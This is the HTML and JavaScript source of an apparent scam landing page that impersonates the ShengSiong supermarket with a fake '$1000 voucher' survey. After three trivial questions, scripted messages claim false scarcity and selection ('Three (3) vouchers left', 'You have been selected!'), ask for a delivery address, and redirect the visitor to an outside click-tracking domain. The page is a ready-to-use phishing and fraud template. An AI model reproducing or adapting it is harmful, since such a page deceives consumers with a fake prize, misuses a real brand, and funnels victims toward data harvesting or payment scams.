<!DOCTYPE html>
<html lang="en">
<meta http-equiv="content-type" content="text/html;charset=UTF-8" />
<head>
    <meta name="robots" content="noindex" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta charset="UTF-8">
    <title>ShengSiong</title>
    <link rel="icon" href="data:;base64,=">
</head>
<style>
    html,
body {
    margin: 0;
    padding: 0;
    background: #fff;
    font-size: 10px;
}
p {
    margin: 1em 0;
    padding: 0;
    font-weight: normal;
    font-size: 2em;
    font-family: Arial, Helvetica Neue, Helvetica, sans-serif;
}

p strong {
    font-size: 1.8em;
    color: #c00;
}

#footer {
    padding-top: 90px;
    text-align: center;
    clear: both;
    font-size: 14px;
}

#footer p {
    font-size: 11px;
    color: #333333;
}

#footer .legal_links a {
    padding-bottom: 0.5em;
    font-size: 1em;
    font-weight: bold;
    display: inline;
    margin: 0 2.5%;
}

h4,
strong {
    margin: 0;
    padding: 0;
    font-weight: bold;
    font-size: 3em;
    display: inline-block;
    font-family: Arial, Helvetica Neue, Helvetica, sans-serif;
}

h3 {
    margin: 1em 0;
    padding: 0;
    font-weight: bold;
    font-size: 3em;
    font-family: Arial, Helvetica Neue, Helvetica, sans-serif;
}

#prozess_bar {
    display: inline-block;
    margin: 3em 0;
}

button {
    margin: 0 1% 1em 1%;
    padding: 0.8em;
    width: 48%;
    float: left;
    color: white;
    text-align: center;
    background: #F44336;
    background: -moz-linear-gradient(top, #F44336 0%, #F44336 100%);
    background: -webkit-gradient(linear, left top, left bottom, color-stop(0%, #F44336), color-stop(100%, #F44336));
    background: -webkit-linear-gradient(top, #F44336 0%, #F44336 100%);
    background: -o-linear-gradient(top, #F44336 0%, #F44336 100%);
    background: -ms-linear-gradient(top, #F44336 0%, #F44336 100%);
    background: linear-gradient(to bottom, #F44336 0%, #F44336 100%);
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#F44336', endColorstr='#F44336', GradientType=0);
    border: 1px solid #F44336;
    -webkit-border-radius: 10px;
    -moz-border-radius: 10px;
    border-radius: 10px;
    font-weight: bold;
    font-size: 1.8em;
    cursor: pointer;
}

#topbar {
    height: 47px;
    background: url("images/header.html") repeat-x scroll 0 0 #fafafa;
    background-position: center;
    float: left;
    padding: 0;
    width: 100%;
}

.wrapper {
    max-width: 960px;
    width: 90%;
    margin: 0 auto;
    height: auto;
    padding: 0;
}

#content_text {
    margin: 1em 0;
    float: left;
    width: 60%;
    font-family: Arial, Helvetica Neue, Helvetica, sans-serif;
}

#content_image {
    margin: 5% 0;
    float: left;
    width: 40%;
    text-align: right;
}

#content_image img {
    width: 100%;
}

#question_block {
    border: 1px solid #ccc;
    margin: 0;
    float: left;
    width: 90%;
    padding: 2% 5%;
    background: white;
    text-align: center;
    -webkit-border-radius: 6px;
    -moz-border-radius: 6px;
    border-radius: 6px;
}

.question {
    display: none;
}

#question_1.question {
    display: block;
}

#results_block {
    border: 1px solid #ccc;
    margin: 0;
    float: left;
    width: 90%;
    padding: 2% 5%;
    background: white;
    text-align: center;
    display: none;
    -webkit-border-radius: 6px;
    -moz-border-radius: 6px;
    border-radius: 6px;
}

.result {
    text-align: center;
    display: none;
    color: #3b5998;
    font-size: 3em;
}

#result_1.result {
    display: block;
}

.result strong {
    font-size: 1em;
    color: #3b5998;
    margin: 1em 0 0 0;
}

@media screen and (max-width:768px) {

    html,
    body {
        font-size: 8px;
    }

    p strong {
        font-size: 1.2em;
    }
}

@media screen and (max-width:480px) {

    html,
    body {
        font-size: 6px;
    }

    p strong {
        font-size: 1.2em;
    }

    #content_text {
        margin: 1em 0;
        float: left;
        width: 100%;
        text-align: center;
    }

    #content_image {
        margin: 1em 20%;
        float: left;
        width: 60%;
        text-align: center;
    }
}

.header {
    background-color: #000;
    width: 100%;
    text-align: center;
    font-weight: bold;
    font-size: 20px;
    padding: 10px 0;
    color: #FFF;
}

.button {
    background: #055228;
    border-color: #055228;
}

.logo {
    width: 300px;
    margin-top: 40px;
    margin-bottom: 40px;
    margin-left: 20px;
}

</style>
<body>
    <div style="width:100%; background-image:url('nz_pl_32_background-header.webp')">
        <img src="shengsiong-logo.webp" class="logo" />
    </div>
    <div class="row clearfix" id="allcontent">
        <div class="medium-8 columns" id="content_box_left">
            <div id="content">
                <div class="wrapper">
                    <div id="content_text">
                        <p><strong>Congratulations</strong></p>
                        <p>We are giving away free grocery vouchers for limited number of people who participates in
                            this short survey. By answering these questions, you help us improve shopping facilities in
                            your area.</p>
                        <p>You are preselected for a</p>
                        <p><strong>$1000 Voucher from ShengSiong</strong></p>
                        <p>To claim please answer 3 questions below:</p>
                    </div>
                    <div id="content_image">
                        <img src="shengsiong-voucher.webp" alt="">
                    </div>
                </div>
            </div>
            <div id="questions">
                <div class="wrapper">
                    <div id="question_block">
                        <div id="question_1" class="question">
                            <h4>Question 1 of 3</h4>
                            <h3>How many times each month do you go grocery shopping?</h3>
                            <button class="button" onclick="next_question()">1-2 times</button>
                            <button class="button" onclick="next_question()">3-4 times</button>
                            <button class="button" onclick="next_question()">4+ times</button>
                            <button class="button" onclick="next_question()">Never</button>
                        </div>
                        <div id="question_2" class="question">
                            <h4>Question 2 of 3</h4>
                            <h3>How many people live in your household?</h3>
                            <button class="button" onclick="next_question()">1
                            </button>
                            <button class="button" onclick="next_question()">2
                            </button>
                            <button class="button" onclick="next_question()">3
                            </button>
                            <button class="button" onclick="next_question()">4
                            </button>
                        </div>
                        <div id="question_3" class="question">
                            <h4>Question 3 of 3</h4>
                            <h3>What is the most important thing for you when deciding where to shop?</h3>
                            <button class="button" onclick="next_question()">Price</button>
                            <button class="button" onclick="next_question()">Brands they carry</button>
                            <button class="button" onclick="next_question()">Fresh products</button>
                            <button class="button" onclick="next_question()">Proximity</button>
                        </div>
                    </div>
                    <div id="results_block">
                        <div id="result_1" class="result">
                            <strong>Your answers are being processed...</strong>
                        </div>
                        <div id="result_2" class="result">
                            <strong>No double-registration found ✔</strong>
                            <br>
                            <strong>Three (3) vouchers left ✔ </strong>
                        </div>
                        <div id="result_3" class="result">
                            <strong>You have been selected! ✔ </strong>
                            <br>
                            <strong>Enter your delivery address</strong>
                        </div>
                        <img id="prozess_bar" src="loader.gif" alt="loader">
                    </div>
                    <div id="footer">
                        <div>
                        </div>
                        <div>
                            <div style="display: inline-block;" class="blackfont">
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <div>
        <br><br>
        <div style="text-align: center; font-size: 10px; color: black;">
            *T&C Apply. Open to all Singapore residents aged 18 years+.
            <br>Shown brands are not associated with the organisers of this competition. This offer ends on
        </div>
        <br><br>
    </div>
</body>
<!-- <script  async src="js/main.js"> </script> -->
<script type="text/javascript" async>
    document.write(new Date().getFullYear());
    var first_title = "fdsfdsfsfd";
var seconde_title = "4323254545";
var link = 'https://wringital-pation.com/click';
var question_idx = 2;
function next_question() {
    var all_el = document.getElementsByClassName("question");
    var question_el = document.getElementById("question_" + question_idx);
    for (var i = 0; i < all_el.length; i++) {
        all_el[i].style.display = 'none';
    }
    if (question_idx < (all_el.length + 1)) {
        question_el.style.display = 'block';
        question_idx++;
    } else {
        hide_block("question_block");
        show_block("results_block");
        results();
    }
    return false;
}
function show_block(element) {
    document.getElementById(element).style.display = 'block';
}
function hide_block(element) {
    document.getElementById(element).style.display = 'none';
}
function results() {
    var load_interval = 1000;
    var results_idx = 2;
    var all_result_el = document.getElementsByClassName("result");

    var count_results = setInterval(function () {

        for (var i = 0; i < all_result_el.length; i++) {
            all_result_el[i].style.display = 'none';
        }

        document.getElementById("result_" + results_idx).style.display = 'block';
        results_idx++;

        if (results_idx > all_result_el.length) {
            clearInterval(count_results);
            setTimeout(function () {
                document.location.href = link;
            }, load_interval);
        }
    }, load_interval);
}
</script>
</html>